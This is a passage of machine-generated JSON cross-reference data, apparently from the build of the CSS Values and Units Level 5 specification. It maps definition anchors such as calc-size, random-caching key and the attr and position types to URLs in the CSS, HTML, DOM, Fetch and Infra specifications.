{"displayText":"interpolate-size","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"interpolate-size","type":"property","url":"#propdef-interpolate-size"}, "#random-caching-key": {"displayText":"random-caching key","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"random-caching key","type":"dfn","url":"#random-caching-key"}, "#resolve-an-arbitrary-substitution-function": {"displayText":"resolve an arbitrary substitution function","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"resolve an arbitrary substitution function","type":"dfn","url":"#resolve-an-arbitrary-substitution-function"}, "#substitute-arbitrary-substitution-function": {"displayText":"substitute arbitrary substitution function","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"substitute arbitrary substitution function","type":"dfn","url":"#substitute-arbitrary-substitution-function"}, "#substitute-into-a-calc-size-calculation": {"displayText":"substitute into a calc-size calculation","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"substitute into a calc-size calculation","type":"dfn","url":"#substitute-into-a-calc-size-calculation"}, "#typedef-attr-name": {"displayText":"<attr-name>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<attr-name>","type":"type","url":"#typedef-attr-name"}, "#typedef-attr-type": {"displayText":"<attr-type>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<attr-type>","type":"type","url":"#typedef-attr-type"}, "#typedef-attr-unit": {"displayText":"<attr-unit>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<attr-unit>","type":"type","url":"#typedef-attr-unit"}, "#typedef-boolean-expr": {"displayText":"<boolean-expr>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<boolean-expr>","type":"type","url":"#typedef-boolean-expr"}, "#typedef-calc-size-basis": {"displayText":"<calc-size-basis>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<calc-size-basis>","type":"type","url":"#typedef-calc-size-basis"}, "#typedef-ident-arg": {"displayText":"<ident-arg>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<ident-arg>","type":"type","url":"#typedef-ident-arg"}, "#typedef-if-condition": {"displayText":"<if-condition>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<if-condition>","type":"type","url":"#typedef-if-condition"}, "#typedef-if-test": {"displayText":"<if-test>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<if-test>","type":"type","url":"#typedef-if-test"}, "#typedef-intrinsic-size-keyword": {"displayText":"<intrinsic-size-keyword>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<intrinsic-size-keyword>","type":"type","url":"#typedef-intrinsic-size-keyword"}, "#typedef-position": {"displayText":"<position>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<position>","type":"type","url":"#typedef-position"}, "#typedef-position-four": {"displayText":"<position-four>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<position-four>","type":"type","url":"#typedef-position-four"}, "#typedef-position-one": {"displayText":"<position-one>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<position-one>","type":"type","url":"#typedef-position-one"}, "#typedef-position-two": {"displayText":"<position-two>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<position-two>","type":"type","url":"#typedef-position-two"}, "#typedef-progress": {"displayText":"<progress>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<progress>","type":"type","url":"#typedef-progress"}, "#typedef-random-caching-options": {"displayText":"<random-caching-options>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<random-caching-options>","type":"type","url":"#typedef-random-caching-options"}, "#typedef-request-url-modifier": {"displayText":"<request-url-modifier>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<request-url-modifier>","type":"type","url":"#typedef-request-url-modifier"}, "#typedef-request-url-modifier-crossorigin-modifier": {"displayText":"<crossorigin-modifier>","export":true,"for_":["<request-url-modifier>"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<crossorigin-modifier>","type":"type","url":"#typedef-request-url-modifier-crossorigin-modifier"}, "#typedef-request-url-modifier-integrity-modifier": {"displayText":"<integrity-modifier>","export":true,"for_":["<request-url-modifier>"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<integrity-modifier>","type":"type","url":"#typedef-request-url-modifier-integrity-modifier"}, "#typedef-request-url-modifier-referrerpolicy-modifier": {"displayText":"<referrerpolicy-modifier>","export":true,"for_":["<request-url-modifier>"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<referrerpolicy-modifier>","type":"type","url":"#typedef-request-url-modifier-referrerpolicy-modifier"}, "#typedef-syntax": {"displayText":"<syntax>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<syntax>","type":"type","url":"#typedef-syntax"}, "#typedef-syntax-combinator": {"displayText":"<syntax-combinator>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<syntax-combinator>","type":"type","url":"#typedef-syntax-combinator"}, "#typedef-syntax-component": {"displayText":"<syntax-component>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<syntax-component>","type":"type","url":"#typedef-syntax-component"}, "#typedef-syntax-multiplier": {"displayText":"<syntax-multiplier>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<syntax-multiplier>","type":"type","url":"#typedef-syntax-multiplier"}, "#typedef-syntax-single-component": {"displayText":"<syntax-single-component>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<syntax-single-component>","type":"type","url":"#typedef-syntax-single-component"}, "#typedef-syntax-string": {"displayText":"<syntax-string>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<syntax-string>","type":"type","url":"#typedef-syntax-string"}, "#typedef-syntax-type-name": {"displayText":"<syntax-type-name>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<syntax-type-name>","type":"type","url":"#typedef-syntax-type-name"}, "#valdef-calc-size-any": {"displayText":"any","export":true,"for_":["calc-size()"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"any","type":"value","url":"#valdef-calc-size-any"}, "#valdef-calc-size-size": {"displayText":"size","export":true,"for_":["calc-size()"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"size","type":"value","url":"#valdef-calc-size-size"}, "#valdef-position-center": {"displayText":"center","export":true,"for_":["<position>"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"center","type":"value","url":"#valdef-position-center"}, "#valdef-request-url-modifier-use-credentials": {"displayText":"use-credentials","export":true,"for_":["<request-url-modifier>"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"use-credentials","type":"value","url":"#valdef-request-url-modifier-use-credentials"}, "#whole-value": {"displayText":"<whole-value>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"<whole-value>","type":"type","url":"#whole-value"}, "https://dom.spec.whatwg.org/#concept-attribute": {"displayText":"attribute","export":true,"for_":[],"level":"1","normative":true,"shortname":"dom","spec":"dom","status":"current","text":"attribute","type":"dfn","url":"https://dom.spec.whatwg.org/#concept-attribute"}, "https://dom.spec.whatwg.org/#concept-element": {"displayText":"element","export":true,"for_":[],"level":"1","normative":true,"shortname":"dom","spec":"dom","status":"current","text":"element","type":"dfn","url":"https://dom.spec.whatwg.org/#concept-element"}, "https://drafts.csswg.org/css-backgrounds-3/#background-positioning-area": {"displayText":"background positioning area","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-backgrounds","spec":"css-backgrounds-3","status":"current","text":"background positioning area","type":"dfn","url":"https://drafts.csswg.org/css-backgrounds-3/#background-positioning-area"}, "https://drafts.csswg.org/css-fonts-4/#funcdef-palette-mix": {"displayText":"palette-mix()","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-fonts","spec":"css-fonts-4","status":"current","text":"palette-mix()","type":"function","url":"https://drafts.csswg.org/css-fonts-4/#funcdef-palette-mix"}, "https://drafts.csswg.org/css-scoping-1/#flat-tree": {"displayText":"flat tree","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-scoping","spec":"css-scoping-1","status":"current","text":"flat tree","type":"dfn","url":"https://drafts.csswg.org/css-scoping-1/#flat-tree"}, "https://drafts.csswg.org/css2/#propdef-background-position": {"displayText":"background-position","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css22","status":"current","text":"background-position","type":"property","url":"https://drafts.csswg.org/css2/#propdef-background-position"}, "https://drafts.csswg.org/css2/#value-def-circle": {"displayText":"circle","export":true,"for_":["list-style-type"],"level":"1","normative":true,"shortname":"css","spec":"css22","status":"current","text":"circle","type":"value","url":"https://drafts.csswg.org/css2/#value-def-circle"}, "https://drafts.csswg.org/css2/#value-def-disc": {"displayText":"disc","export":true,"for_":["list-style-type"],"level":"1","normative":true,"shortname":"css","spec":"css22","status":"current","text":"disc","type":"value","url":"https://drafts.csswg.org/css2/#value-def-disc"}, "https://drafts.csswg.org/css2/#value-def-square": {"displayText":"square","export":true,"for_":["list-style-type"],"level":"1","normative":true,"shortname":"css","spec":"css22","status":"current","text":"square","type":"value","url":"https://drafts.csswg.org/css2/#value-def-square"}, "https://drafts.csswg.org/selectors-4/#typedef-complex-real-selector-list": {"displayText":"<complex-real-selector-list>","export":true,"for_":[],"level":"4","normative":true,"shortname":"selectors","spec":"selectors-4","status":"current","text":"<complex-real-selector-list>","type":"type","url":"https://drafts.csswg.org/selectors-4/#typedef-complex-real-selector-list"}, "https://fetch.spec.whatwg.org/#concept-request": {"displayText":"request","export":true,"for_":[],"level":"1","normative":true,"shortname":"fetch","spec":"fetch","status":"current","text":"request","type":"dfn","url":"https://fetch.spec.whatwg.org/#concept-request"}, "https://fetch.spec.whatwg.org/#concept-request-credentials-mode": {"displayText":"credentials mode","export":true,"for_":["request"],"level":"1","normative":true,"shortname":"fetch","spec":"fetch","status":"current","text":"credentials mode","type":"dfn","url":"https://fetch.spec.whatwg.org/#concept-request-credentials-mode"}, "https://fetch.spec.whatwg.org/#concept-request-integrity-metadata": {"displayText":"integrity metadata","export":true,"for_":["request"],"level":"1","normative":true,"shortname":"fetch","spec":"fetch","status":"current","text":"integrity metadata","type":"dfn","url":"https://fetch.spec.whatwg.org/#concept-request-integrity-metadata"}, "https://fetch.spec.whatwg.org/#concept-request-mode": {"displayText":"mode","export":true,"for_":["request"],"level":"1","normative":true,"shortname":"fetch","spec":"fetch","status":"current","text":"mode","type":"dfn","url":"https://fetch.spec.whatwg.org/#concept-request-mode"}, "https://fetch.spec.whatwg.org/#concept-request-referrer-policy": {"displayText":"referrer policy","export":true,"for_":["request"],"level":"1","normative":true,"shortname":"fetch","spec":"fetch","status":"current","text":"referrer policy","type":"dfn","url":"https://fetch.spec.whatwg.org/#concept-request-referrer-policy"}, "https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element": {"displayText":"img","export":true,"for_":[],"level":"1","normative":true,"shortname":"html","spec":"html","status":"current","text":"img","type":"element","url":"https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element"}, "https://html.spec.whatwg.org/multipage/interactive-elements.html#the-details-element": {"displayText":"details","export":true,"for_":[],"level":"1","normative":true,"shortname":"html","spec":"html","status":"current","text":"details","type":"element","url":"https://html.spec.whatwg.org/multipage/interactive-elements.html#the-details-element"}, "https://html.spec.whatwg.org/multipage/semantics.html#the-link-element": {"displayText":"link","export":true,"for_":[],"level":"1","normative":true,"shortname":"html","spec":"html","status":"current","text":"link","type":"element","url":"https://html.spec.whatwg.org/multipage/semantics.html#the-link-element"}, "https://infra.spec.whatwg.org/#ascii-case-insensitive": {"displayText":"ASCII case-insensitive","export":true,"for_":[],"level":"1","normative":true,"shortname":"infra","spec":"infra","status":"current","text":"ascii case-insensitive","type":"dfn","url":"https://infra.spec.whatwg.org/#ascii-case-insensitive"}, "https://infra.spec.whatwg.org/#list": {"displayText":"list","export":true,"for_":[],"level":"1","normative":true,"shortname":"infra","spec":"infra","status":"current","text":"list","type":"dfn","url":"https://infra.spec.whatwg.org/#list"}, "https://infra.spec.whatwg.org/#list-iterate": {"displayText":"for each","export":true,"for_":["list","set"],"level":"1","normative":true,"shortname":"infra","spec":"infra","status":"current","text":"for each","type":"dfn","url":"https://infra.spec.whatwg.org/#list-iterate"}, "https://infra.spec.whatwg.org/#string": {"displayText":"string","export":true,"for_":[],"level":"1","normative":true,"shortname":"infra","spec":"infra","status":"current","text":"string","type":"dfn","url":"https://infra.spec.whatwg.org/#string"}, "https://infra.spec.whatwg.org/#tuple": {"displayText":"tuple","export":true,"for_":[],"level":"1","normative":true,"shortname":"infra","spec":"infra","status":"current","text":"tuple","type":"dfn","url":"https://infra.spec.whatwg.org/#tuple"}, "https://tc39.es/ecma262/multipage/numbers-and-dates.html#sec-math.random": {"displayText":"random()","export":true,"for_":["Math"],"level":"1","normative":true,"shortname":"ecmascript","spec":"ecmascript","status":"current","text":"random()","type":"method","url":"https://tc39.es/ecma262/multipage/numbers-and-dates.html#sec-math.random"}, "https://webidl.spec.whatwg.org/#resolve": {"displayText":"resolve","export":true,"for_":[],"level":"1","normative":true,"shortname":"webidl","spec":"webidl","status":"current","text":"resolve","type":"dfn","url":"https://webidl.spec.whatwg.org/#resolve"}, "https://www.w3.org/TR/CSS21/about.html#x1": {"displayText":"shorthand property","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"shorthand property","type":"dfn","url":"https://www.w3.org/TR/CSS21/about.html#x1"}, "https://www.w3.org/TR/CSS21/box.html#propdef-margin-top": {"displayText":"margin-top","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"margin-top","type":"property","url":"https://www.w3.org/TR/CSS21/box.html#propdef-margin-top"}, "https://www.w3.org/TR/CSS21/cascade.html#computed-value": {"displayText":"computed value","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"computed value","type":"dfn","url":"https://www.w3.org/TR/CSS21/cascade.html#computed-value"}, "https://www.w3.org/TR/CSS21/cascade.html#specified-value": {"displayText":"specified value","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"specified value","type":"dfn","url":"https://www.w3.org/TR/CSS21/cascade.html#specified-value"}, "https://www.w3.org/TR/CSS21/cascade.html#used-value": {"displayText":"used value","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"used value","type":"dfn","url":"https://www.w3.org/TR/CSS21/cascade.html#used-value"}, "https://www.w3.org/TR/CSS21/cascade.html#x1": {"displayText":"initial value","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"initial value","type":"dfn","url":"https://www.w3.org/TR/CSS21/cascade.html#x1"}, "https://www.w3.org/TR/CSS21/cascade.html#x12": {"displayText":"cascade","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"cascade","type":"dfn","url":"https://www.w3.org/TR/CSS21/cascade.html#x12"}, "https://www.w3.org/TR/CSS21/colors.html#propdef-background-color": {"displayText":"background-color","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"background-color","type":"property","url":"https://www.w3.org/TR/CSS21/colors.html#propdef-background-color"}, "https://www.w3.org/TR/CSS21/colors.html#propdef-background-image": {"displayText":"background-image","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"background-image","type":"property","url":"https://www.w3.org/TR/CSS21/colors.html#propdef-background-image"}, "https://www.w3.org/TR/CSS21/colors.html#propdef-background-position": {"displayText":"background-position","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"background-position","type":"property","url":"https://www.w3.org/TR/CSS21/colors.html#propdef-background-position"}, "https://www.w3.org/TR/CSS21/fonts.html#propdef-font-family": {"displayText":"font-family","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"font-family","type":"property","url":"https://www.w3.org/TR/CSS21/fonts.html#propdef-font-family"}, "https://www.w3.org/TR/CSS21/syndata.html#value-def-color": {"displayText":"<color>","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"<color>","type":"type","url":"https://www.w3.org/TR/CSS21/syndata.html#value-def-color"}, "https://www.w3.org/TR/CSS21/syndata.html#x19": {"displayText":"declaration","export":true,"for_":[],"level":"1","normative":true,"shortname":"css","spec":"css21","status":"snapshot","text":"declaration","type":"dfn","url":"https://www.w3.org/TR/CSS21/syndata.html#x19"}, "https://www.w3.org/TR/css-align-3/#alignment-container": {"displayText":"alignment container","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-align","spec":"css-align-3","status":"snapshot","text":"alignment container","type":"dfn","url":"https://www.w3.org/TR/css-align-3/#alignment-container"}, "https://www.w3.org/TR/css-align-3/#alignment-subject": {"displayText":"alignment subject","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-align","spec":"css-align-3","status":"snapshot","text":"alignment subject","type":"dfn","url":"https://www.w3.org/TR/css-align-3/#alignment-subject"}, "https://www.w3.org/TR/css-animations-1/#at-ruledef-keyframes": {"displayText":"@keyframes","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-animations","spec":"css-animations-1","status":"snapshot","text":"@keyframes","type":"at-rule","url":"https://www.w3.org/TR/css-animations-1/#at-ruledef-keyframes"}, "https://www.w3.org/TR/css-animations-1/#typedef-keyframes-name": {"displayText":"<keyframes-name>","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-animations","spec":"css-animations-1","status":"snapshot","text":"<keyframes-name>","type":"type","url":"https://www.w3.org/TR/css-animations-1/#typedef-keyframes-name"}, "https://www.w3.org/TR/css-animations-2/#propdef-animation-timeline": {"displayText":"animation-timeline","export":true,"for_":[],"level":"2","normative":true,"shortname":"css-animations","spec":"css-animations-2","status":"snapshot","text":"animation-timeline","type":"property","url":"https://www.w3.org/TR/css-animations-2/#propdef-animation-timeline"}, "https://www.w3.org/TR/css-animations-2/#valdef-animation-timeline-auto": {"displayText":"auto","export":true,"for_":["animation-timeline","<single-animation-timeline>"],"level":"2","normative":true,"shortname":"css-animations","spec":"css-animations-2","status":"snapshot","text":"auto","type":"value","url":"https://www.w3.org/TR/css-animations-2/#valdef-animation-timeline-auto"}, "https://www.w3.org/TR/css-animations-2/#valdef-animation-timeline-none": {"displayText":"none","export":true,"for_":["animation-timeline","<single-animation-timeline>"],"level":"2","normative":true,"shortname":"css-animations","spec":"css-animations-2","status":"snapshot","text":"none","type":"value","url":"https://www.w3.org/TR/css-animations-2/#valdef-animation-timeline-none"}, "https://www.w3.org/TR/css-backgrounds-3/#valdef-background-position-center": {"displayText":"center","export":true,"for_":["background-position"],"level":"3","normative":true,"shortname":"css-backgrounds","spec":"css-backgrounds-3","status":"snapshot","text":"center","type":"value","url":"https://www.w3.org/TR/css-backgrounds-3/#valdef-background-position-center"}, "https://www.w3.org/TR/css-cascade-5/#inheritance": {"displayText":"inheritance","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-cascade","spec":"css-cascade-5","status":"snapshot","text":"inheritance","type":"dfn","url":"https://www.w3.org/TR/css-cascade-5/#inheritance"}, "https://www.w3.org/TR/css-cascade-5/#inherited-value": {"displayText":"inherited value","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-cascade","spec":"css-cascade-5","status":"snapshot","text":"inherited value","type":"dfn","url":"https://www.w3.org/TR/css-cascade-5/#inherited-value"}, "https://www.w3.org/TR/css-cascade-5/#longhand": {"displayText":"longhand property","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-cascade","spec":"css-cascade-5","status":"snapshot","text":"longhand property","type":"dfn","url":"https://www.w3.org/TR/css-cascade-5/#longhand"}, "https://www.w3.org/TR/css-cascade-5/#shorthand-property": {"displayText":"shorthand","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-cascade","spec":"css-cascade-5","status":"snapshot","text":"shorthand","type":"dfn","url":"https://www.w3.org/TR/css-cascade-5/#shorthand-property"}, "https://www.w3.org/TR/css-cascade-5/#valdef-all-inherit": {"displayText":"inherit","export":true,"for_":["all"],"level":"5","normative":true,"shortname":"css-cascade","spec":"css-cascade-5","status":"snapshot","text":"inherit","type":"value","url":"https://www.w3.org/TR/css-cascade-5/#valdef-all-inherit"}, "https://www.w3.org/TR/css-cascade-5/#valdef-all-initial": {"displayText":"initial","export":true,"for_":["all"],"level":"5","normative":true,"shortname":"css-cascade","spec":"css-cascade-5","status":"snapshot","text":"initial","type":"value","url":"https://www.w3.org/TR/css-cascade-5/#valdef-all-initial"}, "https://www.w3.org/TR/css-cascade-5/#valdef-all-unset": {"displayText":"unset","export":true,"for_":["all"],"level":"5","normative":true,"shortname":"css-cascade","spec":"css-cascade-5","status":"snapshot","text":"unset","type":"value","url":"https://www.w3.org/TR/css-cascade-5/#valdef-all-unset"}, "https://www.w3.org/TR/css-color-4/#propdef-color": {"displayText":"color","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-color","spec":"css-color-4","status":"snapshot","text":"color","type":"property","url":"https://www.w3.org/TR/css-color-4/#propdef-color"}, "https://www.w3.org/TR/css-color-4/#propdef-opacity": {"displayText":"opacity","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-color","spec":"css-color-4","status":"snapshot","text":"opacity","type":"property","url":"https://www.w3.org/TR/css-color-4/#propdef-opacity"}, "https://www.w3.org/TR/css-color-4/#valdef-color-blue": {"displayText":"blue","export":true,"for_":["<color>","<named-color>"],"level":"4","normative":true,"shortname":"css-color","spec":"css-color-4","status":"snapshot","text":"blue","type":"value","url":"https://www.w3.org/TR/css-color-4/#valdef-color-blue"}, "https://www.w3.org/TR/css-color-4/#valdef-color-green": {"displayText":"green","export":true,"for_":["<color>","<named-color>"],"level":"4","normative":true,"shortname":"css-color","spec":"css-color-4","status":"snapshot","text":"green","type":"value","url":"https://www.w3.org/TR/css-color-4/#valdef-color-green"}, "https://www.w3.org/TR/css-color-4/#valdef-color-red": {"displayText":"red","export":true,"for_":["<color>","<named-color>"],"level":"4","normative":true,"shortname":"css-color","spec":"css-color-4","status":"snapshot","text":"red","type":"value","url":"https://www.w3.org/TR/css-color-4/#valdef-color-red"}, "https://www.w3.org/TR/css-color-4/#valdef-color-transparent": {"displayText":"transparent","export":true,"for_":["<color>"],"level":"4","normative":true,"shortname":"css-color","spec":"css-color-4","status":"snapshot","text":"transparent","type":"value","url":"https://www.w3.org/TR/css-color-4/#valdef-color-transparent"}, "https://www.w3.org/TR/css-color-5/#color-interpolation-method": {"displayText":"<color-interpolation-method>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-color","spec":"css-color-5","status":"snapshot","text":"<color-interpolation-method>","type":"type","url":"https://www.w3.org/TR/css-color-5/#color-interpolation-method"}, "https://www.w3.org/TR/css-color-5/#funcdef-color-mix": {"displayText":"color-mix()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-color","spec":"css-color-5","status":"snapshot","text":"color-mix()","type":"function","url":"https://www.w3.org/TR/css-color-5/#funcdef-color-mix"}, "https://www.w3.org/TR/css-conditional-3/#at-ruledef-media": {"displayText":"@media","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-conditional","spec":"css-conditional-3","status":"snapshot","text":"@media","type":"at-rule","url":"https://www.w3.org/TR/css-conditional-3/#at-ruledef-media"}, "https://www.w3.org/TR/css-conditional-3/#at-ruledef-supports": {"displayText":"@supports","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-conditional","spec":"css-conditional-3","status":"snapshot","text":"@supports","type":"at-rule","url":"https://www.w3.org/TR/css-conditional-3/#at-ruledef-supports"}, "https://www.w3.org/TR/css-conditional-3/#typedef-supports-condition": {"displayText":"<supports-condition>","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-conditional","spec":"css-conditional-3","status":"snapshot","text":"<supports-condition>","type":"type","url":"https://www.w3.org/TR/css-conditional-3/#typedef-supports-condition"}, "https://www.w3.org/TR/css-conditional-5/#at-ruledef-container": {"displayText":"@container","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-conditional","spec":"css-conditional-5","status":"snapshot","text":"@container","type":"at-rule","url":"https://www.w3.org/TR/css-conditional-5/#at-ruledef-container"}, "https://www.w3.org/TR/css-conditional-5/#container-feature": {"displayText":"container feature","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-conditional","spec":"css-conditional-5","status":"snapshot","text":"container feature","type":"dfn","url":"https://www.w3.org/TR/css-conditional-5/#container-feature"}, "https://www.w3.org/TR/css-conditional-5/#size-features": {"displayText":"size features","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-conditional","spec":"css-conditional-5","status":"snapshot","text":"size features","type":"dfn","url":"https://www.w3.org/TR/css-conditional-5/#size-features"}, "https://www.w3.org/TR/css-conditional-5/#typedef-container-name": {"displayText":"<container-name>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-conditional","spec":"css-conditional-5","status":"snapshot","text":"<container-name>","type":"type","url":"https://www.w3.org/TR/css-conditional-5/#typedef-container-name"}, "https://www.w3.org/TR/css-conditional-5/#typedef-size-feature": {"displayText":"<size-feature>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-conditional","spec":"css-conditional-5","status":"snapshot","text":"<size-feature>","type":"type","url":"https://www.w3.org/TR/css-conditional-5/#typedef-size-feature"}, "https://www.w3.org/TR/css-conditional-5/#typedef-style-query": {"displayText":"<style-query>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-conditional","spec":"css-conditional-5","status":"snapshot","text":"<style-query>","type":"type","url":"https://www.w3.org/TR/css-conditional-5/#typedef-style-query"}, "https://www.w3.org/TR/css-display-3/#elements": {"displayText":"element","export":false,"for_":["CSS"],"level":"3","normative":true,"shortname":"css-display","spec":"css-display-3","status":"snapshot","text":"element","type":"dfn","url":"https://www.w3.org/TR/css-display-3/#elements"}, "https://www.w3.org/TR/css-easing-2/#easing-function": {"displayText":"easing function","export":true,"for_":[],"level":"2","normative":true,"shortname":"css-easing","spec":"css-easing-2","status":"snapshot","text":"easing function","type":"dfn","url":"https://www.w3.org/TR/css-easing-2/#easing-function"}, "https://www.w3.org/TR/css-easing-2/#typedef-easing-function": {"displayText":"<easing-function>","export":true,"for_":[],"level":"2","normative":true,"shortname":"css-easing","spec":"css-easing-2","status":"snapshot","text":"<easing-function>","type":"type","url":"https://www.w3.org/TR/css-easing-2/#typedef-easing-function"}, "https://www.w3.org/TR/css-fonts-4/#propdef-font-palette": {"displayText":"font-palette","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-fonts","spec":"css-fonts-4","status":"snapshot","text":"font-palette","type":"property","url":"https://www.w3.org/TR/css-fonts-4/#propdef-font-palette"}, "https://www.w3.org/TR/css-fonts-4/#valdef-font-family-monospace": {"displayText":"monospace","export":true,"for_":["font-family","<generic-family>"],"level":"4","normative":true,"shortname":"css-fonts","spec":"css-fonts-4","status":"snapshot","text":"monospace","type":"value","url":"https://www.w3.org/TR/css-fonts-4/#valdef-font-family-monospace"}, "https://www.w3.org/TR/css-fonts-4/#valdef-font-family-sans-serif": {"displayText":"sans-serif","export":true,"for_":["font-family","<generic-family>"],"level":"4","normative":true,"shortname":"css-fonts","spec":"css-fonts-4","status":"snapshot","text":"sans-serif","type":"value","url":"https://www.w3.org/TR/css-fonts-4/#valdef-font-family-sans-serif"}, "https://www.w3.org/TR/css-images-3/#typedef-image": {"displayText":"<image>","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-images","spec":"css-images-3","status":"snapshot","text":"<image>","type":"type","url":"https://www.w3.org/TR/css-images-3/#typedef-image"}, "https://www.w3.org/TR/css-images-4/#funcdef-cross-fade": {"displayText":"cross-fade()","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-images","spec":"css-images-4","status":"snapshot","text":"cross-fade()","type":"function","url":"https://www.w3.org/TR/css-images-4/#funcdef-cross-fade"}, "https://www.w3.org/TR/css-images-4/#typedef-cf-image": {"displayText":"<cf-image>","export":true,"for_":[],"level":"4","normative":true,"shortname":"css-images","spec":"css-images-4","status":"snapshot","text":"<cf-image>","type":"type","url":"https://www.w3.org/TR/css-images-4/#typedef-cf-image"}, "https://www.w3.org/TR/css-lists-3/#funcdef-counter": {"displayText":"counter()","export":true,"for_":[],"level":"3","normative":true,"shortname":"css-lists","spec":"css-lists-3","status":"snapshot","text":"counter()","type":"function","url":"https://www.w3.org/TR/css-lists-3/#funcdef-counter"}, "https://www.w3.org/TR/css-properties-values-api-1/#at-ruledef-property": {"displayText":"@property","export":true,"for_":[],"level":"1","normative":true,"shortname":"css-properties-values-api","spec":"css-properties-values-api-1","status":"snapshot","text":"@property","type":"at-rule","url":"https://www.w3.org/TR/css-properties-values-api-1/#at-ruledef-property"}, 